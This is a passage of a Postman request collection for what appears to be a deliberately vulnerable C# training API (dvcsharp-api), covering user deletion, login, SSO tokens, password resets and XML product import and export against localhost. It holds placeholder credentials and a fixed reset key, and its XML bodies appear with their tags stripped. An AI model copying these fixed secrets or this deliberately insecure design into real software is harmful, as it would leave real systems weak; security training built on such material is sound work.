162 | "header": [], 163 | "body": {}, 164 | "url": { 165 | "raw": "http://localhost:5000/api/users/1", 166 | "protocol": "http", 167 | "host": [ 168 | "localhost" 169 | ], 170 | "port": "5000", 171 | "path": [ 172 | "api", 173 | "users", 174 | "1" 175 | ] 176 | }, 177 | "description": "Delete user by id" 178 | }, 179 | "response": [] 180 | }, 181 | { 182 | "name": "Authorization Request", 183 | "request": { 184 | "method": "POST", 185 | "header": [ 186 | { 187 | "key": "Content-Type", 188 | "value": "application/json" 189 | } 190 | ], 191 | "body": { 192 | "mode": "raw", 193 | "raw": "{\n\t\"email\": \"test@test.com\",\n\t\"password\": \"password123\"\n}" 194 | }, 195 | "url": { 196 | "raw": "http://localhost:5000/api/authorizations", 197 | "protocol": "http", 198 | "host": [ 199 | "localhost" 200 | ], 201 | "port": "5000", 202 | "path": [ 203 | "api", 204 | "authorizations" 205 | ] 206 | } 207 | }, 208 | "response": [] 209 | }, 210 | { 211 | "name": "Authorization Request SSO", 212 | "request": { 213 | "method": "GET", 214 | "header": [ 215 | { 216 | "key": "Cookie", 217 | "value": "sso_ctx=AAAA" 218 | } 219 | ], 220 | "body": { 221 | "mode": "raw", 222 | "raw": "{\n\t\"email\": \"test@test.com\",\n\t\"password\": \"password123\"\n}" 223 | }, 224 | "url": { 225 | "raw": "http://localhost:5000/api/authorizations/GetTokenSSO", 226 | "protocol": "http", 227 | "host": [ 228 | "localhost" 229 | ], 230 | "port": "5000", 231 | "path": [ 232 | "api", 233 | "authorizations", 234 | "GetTokenSSO" 235 | ] 236 | } 237 | }, 238 | "response": [] 239 | }, 240 | { 241 | "name": "Password Reset Request", 242 | "request": { 243 | "method": "POST", 244 | "header": [ 245 | { 246 | "key": "Content-Type", 247 | "value": "application/json" 248 | } 249 | ], 250 | "body": { 251 | "mode": "raw", 252 | "raw": "{\n\t\"email\": \"test@test.com\"\n}" 253 | }, 254 | "url": { 255 | "raw": "http://localhost:5000/api/passwordresets", 256 | "protocol": "http", 257 | "host": [ 258 | "localhost" 259 | ], 260 | "port": "5000", 261 | "path": [ 262 | "api", 263 | "passwordresets" 264 | ] 265 | } 266 | }, 267 | "response": [] 268 | }, 269 | { 270 | "name": "Password Reset", 271 | "request": { 272 | "method": "PUT", 273 | "header": [ 274 | { 275 | "key": "Content-Type", 276 | "value": "application/json" 277 | } 278 | ], 279 | "body": { 280 | "mode": "raw", 281 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 282 | }, 283 | "url": { 284 | "raw": "http://localhost:5000/api/passwordresets", 285 | "protocol": "http", 286 | "host": [ 287 | "localhost" 288 | ], 289 | "port": "5000", 290 | "path": [ 291 | "api", 292 | "passwordresets" 293 | ] 294 | } 295 | }, 296 | "response": [] 297 | }, 298 | { 299 | "name": "List Product", 300 | "request": { 301 | "method": "GET", 302 | "header": [ 303 | { 304 | "key": "Content-Type", 305 | "value": "application/json" 306 | } 307 | ], 308 | "body": { 309 | "mode": "raw", 310 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 311 | }, 312 | "url": { 313 | "raw": "http://localhost:5000/api/products", 314 | "protocol": "http", 315 | "host": [ 316 | "localhost" 317 | ], 318 | "port": "5000", 319 | "path": [ 320 | "api", 321 | "products" 322 | ] 323 | } 324 | }, 325 | "response": [] 326 | }, 327 | { 328 | "name": "Export Products", 329 | "request": { 330 | "method": "GET", 331 | "header": [ 332 | { 333 | "key": "Content-Type", 334 | "value": "application/json" 335 | } 336 | ], 337 | "body": { 338 | "mode": "raw", 339 | "raw": "{\n\t\"key\": \"b642b4217b34b1e8d3bd915fc65c4452\",\n\t\"password\": \"password123\",\n\t\"passwordConfirmation\": \"password123\"\n}" 340 | }, 341 | "url": { 342 | "raw": "http://localhost:5000/api/products/export", 343 | "protocol": "http", 344 | "host": [ 345 | "localhost" 346 | ], 347 | "port": "5000", 348 | "path": [ 349 | "api", 350 | "products", 351 | "export" 352 | ] 353 | } 354 | }, 355 | "response": [] 356 | }, 357 | { 358 | "name": "Import Products", 359 | "request": { 360 | "method": "POST", 361 | "header": [ 362 | { 363 | "key": "Content-Type", 364 | "value": "application/xml" 365 | } 366 | ], 367 | "body": { 368 | "mode": "raw", 369 | "raw": "\n\n \n 1\n Test Product 1\n Test Product Description\n PROD-001\n 0\n \n \n 2\n Test Product 11\n Test Product Description\n PROD-0011\n 100\n \n" 370 | }, 371 | "url": { 372 | "raw": "http://localhost:5000/api/products/import", 373 | "protocol": "http", 374 | "host": [ 375 | "localhost" 376 | ], 377 | "port": "5000", 378 | "path": [ 379 | "api", 380 | "products", 381 | "import" 382 | ] 383 | } 384 | }, 385 | "response": [] 386 | }, 387 | { 388 | "name": "Create Product", 389 | "request": { 390 | "method": "POST", 391 | "header": [ 392 | { 393 | "key": "Content-Type", 394 | "value": "application/json" 395 | } 396 | ], 397 | "body": { 398 | "mode": "raw", 399 | "raw": "{\n\t\"name\": \"Test Product 11\",\n\t\"description\": \"Test Product Description\",\n\t\"skuId\": \"PROD-0011\",\n\t\"unitPrice\": 100\n}" 400 | }, 401 | "url": { 402 | "raw": "http://localhost:5000/api/products", 403 | "protocol": "http", 404 | "host": [ 405 | "localhost" 406 | ], 407 | "port": "5000", 408 | "path": [ 409 | "api", 410 | "products" 411 | ] 412 | } 413 | }, 414 | "response": [] 415 | }, 416 | { 417 | "name": "Generic Entity Import", 418 | "request": { 419 | "method": "POST", 420 | "header": [ 421 | { 422 | "key": "Content-Type", 423 | "value": "application/xml" 424 | } 425 | ], 426 | "body": { 427 | "mode": "raw", 428 | "raw": "\n\n \n \t\n\t Test Product 1\n\t Test Product Description\n\t PROD-001\n\t 0\n \n \n \n \t\n \tTest Product 11\n \tTest Product Description\n \tPROD-0011\n \t100\n \n \n" 429 | }, 430 | "url": { 431 | "raw": "http://localhost:5000/api/imports", 432 | "protocol": "http", 433 | "host": [ 434 | "localhost" 435 | ], 436 | "port": "5000", 437 | "path": [ 438 | "api", 439 | "imports" 440 | ] 441 | } 442 | }, 443 | "response": [] 444 | } 445 | ] 446 | } -------------------------------------------------------------------------------- /tmp/EMPTY: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/appsecco/dvcsharp-api/76c1de3c9d8d9c2e8ec0b50abe3b198a4330d7fc/tmp/EMPTY --------------------------------------------------------------------------------